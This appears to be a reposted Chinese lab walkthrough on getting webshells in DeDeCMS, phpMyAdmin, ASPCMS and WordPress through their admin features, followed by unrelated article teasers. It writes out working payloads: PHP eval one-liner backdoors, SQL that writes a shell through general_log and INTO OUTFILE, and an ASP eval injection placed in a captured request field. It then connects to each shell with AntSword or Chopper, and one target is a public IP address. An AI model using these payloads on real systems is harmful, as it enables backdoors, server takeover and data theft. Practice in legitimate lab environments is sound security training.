CMS漏洞靶場攻略

DeDeCMS

環境搭建

傻瓜式安裝

漏洞一:通過文件管理器上傳WebShel
步驟?:訪問目標靶場其思路為 dedecms 后臺可以直接上傳任意文件,可以通過?件管理器上傳php文件獲取webshell

登陸網站后臺

步驟二:登陸到后臺點擊 【核心】 --》 【文件式管理器】 --》 【文件上傳】 將準備好的惡意代碼上傳

步驟三:訪問上傳成功后的文件
http://127.0.0.1/dedecms/uploads/1.php

漏洞二:修改模板文件拿WebShell
步驟?:與WPCMS類似,直接修改模板拿WebShell..點擊 【模板】 --》 【默認模板管理】 --》【index.htm】 --> 【修改】

進入后添加惡意代碼

步驟二:點擊 【勝成】 --》 【更新主頁HTML】 --》將主頁位置修改為【../index.php 】--》點擊 【生成靜態】 --》點擊 【更新主頁】 再次訪問站點首頁可發現變化

步驟三:訪問主頁,phpinfo更新成功

漏洞三:后臺任意命令執行拿WebShell
步驟一:點擊 【模塊】 --》 【廣告管理】 --》 【增加一個新廣告】 --》在 【廣告內容】 處添加一句話代碼--》點擊 【確定】

步驟二:點擊【代碼】--》在圖中顯示的路徑與站點進行拼接

http://127.0.0.1/dedecms/plus/ad_js.php?aid=1

步驟三:使用蟻劍測試連接

漏洞四:通過后臺sql命令執行拿webshell
步驟一:訪問系統---sql命令行工具---執行 select @@basedir,獲取mysql路徑,由此瑞測網站絕對路徑

猜測絕對路徑為E:/phpStudy/PHPTutorial/

步驟二:into outfile寫入一句話木馬

步驟三:使用蟻劍測試連接

PhPMyadmin

一.通過日志文件

1.sql語句模式

show global variables like '%general%';	  //查詢日志文件
set global general_log='on'; //日志保存狀態開啟;
set global general_log_file = 'D:/phpstudy/phpstudy_pro/WWW/123.php'; //修改日志的保存位置。
select '<?php eval($_POST[cmd]);?>';

在去查看一下確保開啟

修改存儲路徑

Ok修改成功

寫入木馬;去連接日志文件

2.圖形化界面

新建-->變量-->過濾

點擊編輯改成ON

然后再去sql語句那寫入

二.導入導出

select @@datadir   //判斷路徑
猜測web路徑
select "<?php @eval($_POST[cmd]);?>" into outfile 'D:/phpstudy/phpstudy_pro/WWW/333.php';

寫入后我們去連接

ASPCMS

訪問后臺文件并登錄

點擊到幻燈片設置里點擊保存,然后抓包

將數據包中的slideTextStatus 字段的值修改為我們的一句話木馬

1%25><%25Eval(Request (chr(65)))%25><%25

寫到了/config/AspCms_Config.asp 這個文件里

點擊放行

我們訪問 aspcms_config.asp 文件

訪問成功使用菜刀連接

獲得 shell

Wordperss

注冊賬號

登錄

漏洞一:后臺修改模板拿WebShell

步驟一:思路是修改其WP的模板寫入?句話木馬后門并訪問其文件即可GetShell;登陸WP后點擊 【Appearance】 -->author-bio.php

步驟二:在其模板中插入一句話木馬代碼..點擊 【Update File】 按鈕
<?php @eval($_POST[123]);?>

步驟三:訪問以下連接即可獲取WebShell
http://8.155.7.173:8080/wp-content/themes/twentyfifteen/author-bio.php

步驟四:嘗試蟻劍連接獲取webshell

漏洞二:上傳主題拿WebShell
步驟?:接著上?個環境使用...將帶有后門的文件加入到主題中并將主題壓縮為ZIP?件

先去下載一個免費模板

https://blog.csdn.net/m0_59768231/article/details/144777066?spm=1001.2014.3001.5502

解壓后打開第一個文件夾寫入一句話木馬

重新壓縮為一個.zip壓縮包

步驟二:找到網站上傳模板主題的位置

選中我們剛才重新壓縮好的文件

步驟三:訪問以下連接即可獲取WebShell
http://8.155.7.173:8080/wp-content/themes/moban-1354265872-wordpress329-sprout-in-hands-10/1.php

步驟四:嘗試蟻劍連接獲取webshell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/64737.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/64737.shtml
英文地址,請注明出處:http://en.pswp.cn/web/64737.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

0xc0000020錯誤代碼怎么處理,Windows11、10壞圖像錯誤0xc0000020的修復辦法

“0xc0000020”是一種 Windows 應用程序錯誤代碼&#xff0c;通常表明某些文件缺失或損壞。這可能是由于系統文件損壞、應用程序安裝或卸載問題、惡意軟件感染、有問題的 Windows 更新等原因導致的。 比如&#xff0c;當運行軟件時&#xff0c;可能會出現類似“C:\xx\xxx.dll …

LabVIEW 中 NI Vision 模塊的IMAQ Create VI

IMAQ Create VI 是 LabVIEW 中 NI Vision 模塊&#xff08;NI Vision Development Module&#xff09;的一個常用 VI&#xff0c;用于創建一個圖像變量。該圖像變量可以存儲和操作圖像數據&#xff0c;是圖像處理任務的基礎。 ? 通過以上操作&#xff0c;IMAQ Create VI 是構建…

HTML5 標簽輸入框(Tag Input)詳解

HTML5 標簽輸入框&#xff08;Tag Input&#xff09;詳解 標簽輸入框&#xff08;Tag Input&#xff09;是一種用戶界面元素&#xff0c;允許用戶輸入多個標簽或關鍵詞&#xff0c;通常用于表單、搜索框或內容分類等場景。以下是實現標簽輸入框的詳細講解。 1. 任務概述 標…

使用位操作符實現加減乘除!

歡迎拜訪&#xff1a;霧里看山-CSDN博客 本篇主題&#xff1a;使用位操作符實現加減乘除 發布時間&#xff1a;2025.1.1 隸屬專欄&#xff1a;C語言 目錄 位操作實現加法運算&#xff08;&#xff09;原理代碼示例 位操作實現減法運算&#xff08;-&#xff09;原理代碼示例 位…

[Spring] Spring AOP

&#x1f338;個人主頁:https://blog.csdn.net/2301_80050796?spm1000.2115.3001.5343 &#x1f3f5;?熱門專欄: &#x1f9ca; Java基本語法(97平均質量分)https://blog.csdn.net/2301_80050796/category_12615970.html?spm1001.2014.3001.5482 &#x1f355; Collection與…

Java-數據結構-時間和空間復雜度

一、什么是時間和空間復雜度&#xff1f; &#x1f4da; 那么在了解時間復雜度和空間復雜度之前&#xff0c;我們先要知道為何有這兩者的概念&#xff1a; 首先我們要先了解"算法"&#xff0c;在之前我們學習過關于"一維前綴和與差分"&#xff0c;"…

商湯C++開發面試題及參考答案

C++11 有哪些新特性? C++11 帶來了眾多令人矚目的新特性,極大地豐富和增強了這門編程語言的功能與表現力。 首先是類型推導方面,引入了auto關鍵字。通過auto,編譯器能夠自動根據初始化表達式來推導出變量的類型,這在處理復雜的模板類型或者較長的類型聲明時非常方便,能讓…

Cesium 實戰 27 - 三維視頻融合(視頻投影)

Cesium 實戰 27 - 三維視頻融合(視頻投影) 核心代碼完整代碼在線示例在 Cesium 中有幾種展示視頻的方式,比如墻體使用視頻材質,還有地面多邊形使用視頻材質,都可以實現視頻功能。 但是隨著攝像頭和無人機的流行,需要視頻和場景深度融合,簡單的實現方式則不能滿足需求。…

U盤格式化工具合集:6個免費的U盤格式化工具

在日常使用中&#xff0c;U盤可能會因為文件系統不兼容、數據損壞或使用需求發生改變而需要進行格式化。一個合適的格式化工具不僅可以清理存儲空間&#xff0c;還能解決部分存儲問題。本文為大家精選了6款免費的U盤格式化工具&#xff0c;并詳細介紹它們的功能、使用方法、優缺…

如何使用AI工具cursor(內置ChatGPT 4o+claude-3.5)

??溫馨提示&#xff1a; 禁止商業用途&#xff0c;請支持正版&#xff0c;充值使用&#xff0c;尊重知識產權&#xff01; 免責聲明&#xff1a; 1、本教程僅用于學習和研究使用&#xff0c;不得用于商業或非法行為。 2、請遵守Cursor的服務條款以及相關法律法規。 3、本…

Spring Boot的開發工具(DevTools)模塊中的熱更新特性導致的問題

問題&#xff1a; java.lang.ClassCastException: class cn.best.scholarflow.framework.system.domain.entity.SysUser cannot be cast to class cn.best.scholarflow.framework.system.domain.entity.SysUser (cn.best.scholarflow.framework.system.domain.…

異常與中斷(上)

文章目錄 一、異常與中斷的概念引入與處理流程1.1 生活中的中斷1.2 母親如何處理中斷1.3 ARM系統中異常與中斷處理流程 二、ARM架構中異常與中斷的處理2.1 處理流程2.2 cortex M3/M42.2.1 M3/M4的向量表2.2.2 M3/M4的異常/中斷處理流程 2.3 cortex A72.3.1 A7的向量表2.3.2 A7的…

Zabbix 監控平臺 添加監控目標主機

Zabbix監控平臺是一個企業級開源解決方案&#xff0c;用于分布式系統監視和網絡監視。它由Zabbix Server和可選組件Zabbix Agent組成&#xff0c;通過C/S模式&#xff08;客戶端-服務器模型&#xff09;采集數據&#xff0c;并通過B/S模式&#xff08;瀏覽器-服務器模型&#x…

游戲關卡設計的常用模式

游戲關卡分為很多種&#xff0c;但常用的有固定套路&#xff0c;分為若干種類型。 關卡是主角與怪物、敵方戰斗的場所&#xff0c;包括裝飾物、通道。 單人游戲的關卡較小&#xff0c;偏線性&#xff1b; 聯機/MMO的關卡較大&#xff0c;通道多&#xff0c;自由度高&#xf…

【容器化技術 Docker 與微服務部署】詳解

容器化技術 Docker 與微服務部署 一、容器化技術概述 &#xff08;一&#xff09;概念 容器化技術是一種操作系統級別的虛擬化方法&#xff0c;它允許將應用程序及其依賴項&#xff08;如運行時環境、系統工具、庫等&#xff09;打包成一個獨立的、可移植的單元&#xff0c;這…

TypeScript 后端開發中的熱重載編譯處理

在一些除了nest框架外的一些其他nodejs框架中沒有提供對ts編譯和熱重載&#xff0c;如果使用typescript我們需要自己進行配置。 方法一&#xff08;推薦&#xff09; 使用bun運行環境&#xff08;快&#xff09;。注&#xff1a;一些不是使用js&#xff0c;ts代碼編寫的第三方…

QT集成IntelRealSense雙目攝像頭3,3D顯示

前兩篇文章&#xff0c;介紹了如何繼承intel realsense相機和opengl。 這里介紹如何給深度數據和色彩數據一塊顯示到opengl里面。 首先&#xff0c;需要了解深度數據和彩色數據是如何存儲的。先說彩色數據。彩色圖像一般都是RGB&#xff0c;也就是每個像素有三個字節&#xf…

Postman[4] 環境設置

作用&#xff1a;不同的環境可以定義不同的參數&#xff0c;在運行請求時可以根據自己的需求選擇需要的環境 1.創建Environment 步驟&#xff1a; Environment-> ->命名->添加環境變量 2.使用Environment 步驟&#xff1a;Collection- >右上角選擇需要的環境

【合并區間】

問題 以數組 intervals 表示若干個區間的集合&#xff0c;其中單個區間為 intervals[i] [starti, endi] 。 請你合并所有重疊的區間&#xff0c;并返回 一個不重疊的區間數組&#xff0c;該數組需恰好覆蓋輸入中的所有區間 。示例 1&#xff1a; 輸入&#xff1a;intervals …

SpringBoot_第二天

SpringBoot_第二天 學習目標 Mybatis整合&數據訪問 使用SpringBoot開發企業項目時&#xff0c;持久層數據訪問是前端頁面數據展示的基礎&#xff0c;SpringBoot支持市面上常見的關系庫產品(Oracle,Mysql,SqlServer,DB2等)對應的相關持久層框架&#xff0c;當然除了對于關系…